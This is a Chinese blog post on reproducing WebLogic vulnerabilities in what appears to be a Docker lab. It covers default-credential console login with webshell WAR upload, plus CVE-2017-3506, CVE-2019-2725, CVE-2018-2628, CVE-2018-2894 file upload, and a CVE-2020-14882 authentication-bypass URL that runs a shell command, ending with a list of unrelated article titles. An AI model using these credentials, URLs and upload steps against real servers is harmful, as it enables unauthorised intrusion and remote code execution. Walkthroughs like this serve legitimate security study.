当前位置: 首页 > news >正文

WebLogic 漏洞复现

1、后台弱⼝令GetShell

默认账号密码:weblogic/Oracle@123

weblogic常⽤弱⼝令:https://cirt.net/passwords?criteria=weblogic

这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。

http://47.121.212.195:7001/console

2、登录后台后,点击部署,点击安装,点击上传⽂件。

3、上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传

一直点击下一步

4、使用工具进行连接

2、CVE-2017-3506

1、验证是否存在wls-wsat组件

http://47.121.212.195:7001/wls-wsat/CoordinatorPortType

2、在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。

3、CVE-2019-2725

1、http://47.121.212.195:7001/_async/AsyncResponseService  

2、在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

3、访问下载到weblogic服务器上的⽊⻢,进⾏连接

4、CVE-2018-2628

1、

2、直接使⽤利⽤工具

5、CVE-2018-2894

1、这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

 2、设置Web服务测试开启

域结构 -> base-domain -> ⾼级 -> 启动Web服务测试页

3、点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录

http://47.121.212.195:7001/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

4、点击安全 , 点击添加

5、打开控制台, 找到对应时间戳

 

6、Webshell连接

6、CVE-2020-14882

1、访问管理控制台

2、使⽤以下url绕过登录认证

http://47.121.212.195:7001/console/css/%252e%252e%252fconsole.portal

3、⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令
http://47.121.212.195:7001/ console/css/%252e%252e%252fconsole.portal?
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runti me.getRuntime().exec('touch%20/tmp/success');")

http://www.lryc.cn/news/447001.html

相关文章:

  • web基础:域名、网页、HTML、web版本
  • 【项目案例】物联网比较好的10+练手项目推荐,附项目文档/源码/视频
  • AWS注册时常见错误处理
  • Spark-RDD持久化
  • vue2中使用tailwindCss 详细教程
  • 机器视觉工程师一直做调试,维护岗位,想转岗软件方面C#从零开始,快则三年不到,慢则一辈子不会
  • 【初阶数据结构】详解二叉树 - 树和二叉树(三)(递归的魅力时刻)
  • 【QT】QWidget 重要属性
  • 什么是数据库连接池?为什么需要使用连接池?
  • 2024ICPC网络赛第一场C. Permutation Counting 4(线性代数)
  • 01.前端面试题之ts:说说如何在Vue项目中应用TypeScript?
  • 【HTTP】方法(method)以及 GET 和 POST 的区别
  • Ubuntu NFS 搭建及配置
  • 双十一好物推荐,这些值得入手的宝藏产品
  • 秋招内推2025--招联金融
  • C++类和对象——第二关
  • 服务器数据恢复—raid5阵列热备盘上线失败导致阵列崩溃的数据恢复案例
  • Python与SQL Server数据库结合导出Excel并做部分修改
  • 常见的TTL,RS232,RS485,IIC,SPI,UART之间的联系和区别
  • 【数据结构】栈和队列(Stack Queue)
  • Vue.js基础
  • 罐区紧急切断阀安装位置规范
  • JavaScript 中的事件模型
  • 理解Java引用数据类型(数组、String)传参机制的一个例子
  • 【计算机组成原理】实验一:运算器输入锁存器数据写实验
  • LSI SAS 9361-8i和SAS3008 12 gb / s PCIe 3.0 RAID 阵列卡配置
  • node js版本低导致冲突WARN EBADENGINE package: required: { node: ‘>=18‘ }
  • 828华为云征文|使用Flexus X实例安装宝塔面板教学
  • 1.量化第一步,搭建属于自己的金融数据库!
  • git-repo系列教程(6) 在自己服务器上搭建git-repo仓库